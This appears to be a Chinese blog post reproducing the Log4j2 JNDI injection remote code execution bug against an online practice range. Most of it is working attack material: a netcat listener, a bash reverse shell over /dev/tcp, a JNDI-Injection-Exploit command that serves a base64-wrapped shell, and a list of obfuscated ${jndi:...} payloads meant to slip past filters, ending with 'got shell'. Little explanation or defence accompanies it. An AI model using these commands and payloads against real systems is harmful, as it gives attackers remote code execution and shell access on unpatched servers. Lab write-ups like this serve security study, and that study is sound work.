log4j反弹shell

漏洞描述

Apache Log4j 是 Apache 的一个开源项目,Apache Log4j2是一个基于Java的日志记录工具。该工具重写了Log4j框架,并且引入了大量丰富的特性。我们可以控制日志信息输送的目的地为控制台、文件、GUI组件等,通过定义每一条日志信息的级别,能够更加细致地控制日志的生成过程。该日志框架被大量用于业务系统开发,用来记录日志信息。

本次远程代码执行漏洞正是由于组件存在 Java JNDI 注入漏洞:当程序将用户输入的数据记录到日志时,攻击者通过构造特殊请求,来触发 Apache Log4j2 中间的远程代码执行漏洞,从而利用此漏洞在目标服务器上执行任意代码。

影响版本 : Apache Log4j 2.x <= 2.14.1
##环境准备##
一台有公网IP的服务器,部署java8用于编译恶意class以及进行ldap/rmi转发
需要开放端口

复现

靶场来源 https://hack.zkaq.cn/battle

1

先进行nc监听 nc -lvp 7677
然后将反弹shell进行base64编码
(冷知识:base64编码的意义其实是为了传输在常见系统中的不可见字符,也就是显示为乱码的那些字符)

bash -i >& /dev/tcp/ip/port<&2

然后使用JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar进行编译以及提供ldap服务

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,base编码内容}|{base64,-d}|{bash,-i}" -A "ip"

4

根据环境进行poc的选用

payload

${${::-j}${::-n}${::-d}${::-i}:${::-r}${::-m}${::-i}://127.0.0.1:1099/ass}
${${::-j}ndi:rmi://127.0.0.1:1099/ass}
${jndi:rmi://qweewq.qweewq.qweewq}
${${lower:jndi}:${lower:rmi}://qweewq.qweewq.qweewq/poc}
${${lower:${lower:jndi}}:${lower:rmi}://qweewq.qweewq.qweewq/poc}
${${lower:j}${lower:n}${lower:d}i:${lower:rmi}://qweewq.qweewq.qweewq/poc}
${${lower:j}${upper:n}${lower:d}${upper:i}:${lower:r}m${lower:i}}://xxxxxxx.xx/poc}

got shell
3

  • 2
    点赞
  • 4
    收藏
    觉得还不错? 一键收藏
  • 5
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 5
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值